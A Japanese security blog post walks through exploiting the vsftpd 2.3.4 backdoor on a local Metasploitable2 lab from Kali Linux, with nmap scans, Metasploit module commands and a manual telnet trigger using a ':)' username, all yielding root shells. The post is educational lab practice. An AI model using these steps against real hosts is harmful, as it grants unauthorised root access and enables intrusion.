Security Record

セキュリティ全般に関する情報を発信しています

Kali LinuxとMetasploitable2を使用してvsftpd 2.3.4のバックドアを検証した

※注意 こちらで紹介した内容を悪用した場合、場合によっては刑法にて処罰されます。 実験を行う場合は必ずローカル環境にテスト用のサーバーを構築して実行してください。

概要(vsftpd 2.3.4のバックドアについて)

vsftpdのバージョン2.3.4のソースファイル「vsftpd-2.3.4.tar.gz」にリモートから任意のコードの実行を可能にするバックドアコードが含まれています。 vsftpdとはLinuxなどのUNIX系OSで使用されるFTPサービスの名称で、vsftpd 2.3.4をインストールおよび起動すると、特定の文字列「:)」を含む任意のユーザー名でFTP接続した際に6200番ポートがオープンします。 バックドアポートにリモートから接続すると標的のサーバー内で任意のコマンドが実行可能となってしまいます。 バックドアによるリモート環境へのアクセスをテストするため、Virtualボックス上にゲストOSとしてKali LinuxとMetasploitable2を用意して検証を行いました。

事前準備

VirtualBox上にゲストOSとしてKali LinuxとMetasploitable2をインストールしておきます。 Kali LinuxとMetasploitable2共にネットワーク設定を「ホストオンリーアダプター」にしておき、ゲストOS同士で通信ができるようにしておきます。「ホストオンリーアダプター」にしているときはインターネットとの通信ができません。 インターネットと通信したい際はネットワーク設定を「NAT」にしてOSを再起動します。 (※再起動しないで良い方法もあります)

IPアドレスの確認(偵察)

ifconfig -aコマンドを使用してKali LinuxとMetasploitable2それぞれのIPアドレスを確認しておきます。 今回は下記IPアドレスでテストを行うことにしました。

Kali Linux 192.168.28.3
Metasploitable2 192.168.28.4

Metasploit Frameworkを使用したペネトレーションテスト

Kali LinuxにMetasploit Frameworkがインストールされている場合msfconsoleコマンドが使えるので、 msfconsoleコマンドを実行します。 Metasploit Frameworkはミドルウェアなどの脆弱性を実際に突いて、セキュリティの耐久性を評価する「ペネトレーションテスト」に使用するツールです。

下記コマンドを実行してMetasploit Frameworkを起動します

#msfconsole

Metasploit Frameworkが起動しました。

ポートスキャンの実行(偵察)

次にnmapを使用してMetasploitable2をポートスキャンします。
開放されているポートと使用されているサービスを確認します。 nmapコマンドに-sVオプションを付与する事で、動作しているサービスのバージョンを取得できます。

下記コマンドを実行します。

msf6 > nmap -sV 192.168.28.4

ポートスキャンの実行結果(偵察)

21番ポートが開いており、vsftpd 2.3.4が動いているのがわかります。
Metasploitable2はやられサーバーなので他にも色々なポートが開いており、脆弱性だらけなのが分かります。

稼働しているサービスの脆弱性を確認(偵察)

searchコマンドを実行して、稼働しているサービスに脆弱性があるか確認します。 searchコマンドはMetasploit Frameworkのデータベース内を検索するコマンドになります。

msf6 > search vsftpd 2.3.4

下記のように脆弱性がヒットしました。
この脆弱性を利用してMetasploitable2に侵入しようと思います。

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

エクスプロイトの実行(攻撃)

標的となるサーバーのIPアドレスを指定します

set RHOST 192.168.28.4 でMetasploitable2のIPアドレスを指定します。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.28.4  
RHOST => 192.168.28.4

ペイロードを指定します

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact

使用するexploitを指定します。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/unix/interact

エクスプロイト実行

exploitコマンドを実行して攻撃を行います。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

実際に侵入できたかサーバーを確認 (遠隔操作)

サーバーへの侵入

エクスプロイトを実行した後、下記のように表示されますので、
実際に標的のサーバーへ侵入できたか確認します

[*] 192.168.28.4:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.28.4:21 - USER: 331 Please specify the password.
[+] 192.168.28.4:21 - Backdoor service has been spawned, handling...
[+] 192.168.28.4:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.28.3:41809 -> 192.168.28.4:6200) at 2023-05-10 21:45:36 +0900
id
uid=0(root) gid=0(root)

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Linux metasploitable 2.6.24-16-serverと表示されているので侵入に成功できたようです。

遠隔操作をしてみる

試しにlsコマンドを実行してみました。

ls -al
total 93
drwxr-xr-x  21 root root  4096 2012-05-20 14:36 .
drwxr-xr-x  21 root root  4096 2012-05-20 14:36 ..
drwxr-xr-x   2 root root  4096 2012-05-13 23:35 bin
drwxr-xr-x   4 root root  1024 2012-05-13 23:36 boot
lrwxrwxrwx   1 root root    11 2010-04-28 16:26 cdrom -> media/cdrom
drwxr-xr-x  14 root root 13500 2023-05-01 10:18 dev
drwxr-xr-x  94 root root  4096 2023-05-01 08:39 etc
drwxr-xr-x   6 root root  4096 2010-04-16 02:16 home
drwxr-xr-x   2 root root  4096 2010-03-16 18:57 initrd
lrwxrwxrwx   1 root root    32 2010-04-28 16:26 initrd.img -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x  13 root root  4096 2012-05-13 23:35 lib
drwx------   2 root root 16384 2010-03-16 18:55 lost+found
drwxr-xr-x   4 root root  4096 2010-03-16 18:55 media
drwxr-xr-x   3 root root  4096 2010-04-28 16:16 mnt
-rw-------   1 root root  8705 2023-05-01 08:39 nohup.out
drwxr-xr-x   2 root root  4096 2010-03-16 18:57 opt
dr-xr-xr-x 121 root root     0 2023-05-01 08:38 proc
drwxr-xr-x  13 root root  4096 2023-05-01 08:39 root
drwxr-xr-x   2 root root  4096 2012-05-13 21:54 sbin
drwxr-xr-x   2 root root  4096 2010-03-16 18:57 srv
drwxr-xr-x  12 root root     0 2023-05-01 08:38 sys
drwxrwxrwt   4 root root  4096 2023-05-01 08:39 tmp
drwxr-xr-x  12 root root  4096 2010-04-28 00:06 usr
drwxr-xr-x  14 root root  4096 2010-03-17 10:08 var
lrwxrwxrwx   1 root root    29 2010-04-28 16:21 vmlinuz -> boot/vmlinuz-2.6.24-16-server

標的のとなるサーバーのファイルの一覧が取得できました。 あとは攻撃者が目的を実行して証跡を削除したら、ハッキングは完了となります。

ハッピーフェイス「:)」を使用して侵入を試みる

vsftpd 2.3.4には概要に記載した通り、「:)」を含む任意のユーザー名で接続した際にバックドアポートである6200番が開きます。
次にMetasploit Frameworkを使用せずにバックドアからの侵入を試みてみます。

検証してみる

まずは21番ポートでtelnet接続

まずは21番ポートでtelnet接続を試みてみます。 その歳、ユーザー名に「:)」を含む任意の文字列を指定します。 接続できたことが確認できたら一旦終了します。

┌──(root㉿kali)-[/home/kali]
└─# telnet 192.168.28.4 21  #まずは21番ポートでtelnet接続を試みる
Trying 192.168.28.4...
Connected to 192.168.28.4.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)   #ここで「:)」を含む任意の文字列を指定している
331 Please specify the password.
pass invalid  #パスワードは何でも良い
telnet> quit  #一旦接続を終了する
Connection closed.

バックドアの6200番ポートの確認

次にバックドアポートである6200番が開放されているか確認します。

┌──(root㉿kali)-[/home/kali]
└─# telnet 192.168.28.4 6200  #6200番ポートを指定してtelnet接続を試みる
Trying 192.168.28.4...
Connected to 192.168.28.4.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)

uname -a;で現在のサーバーを確認したところ、 metasploitable のサーバーに侵入をができているようです。

uname -a;
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

vsftpd 2.3.4の脆弱性を利用したバックドアからの侵入の検証は以上になります。

参考書籍

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習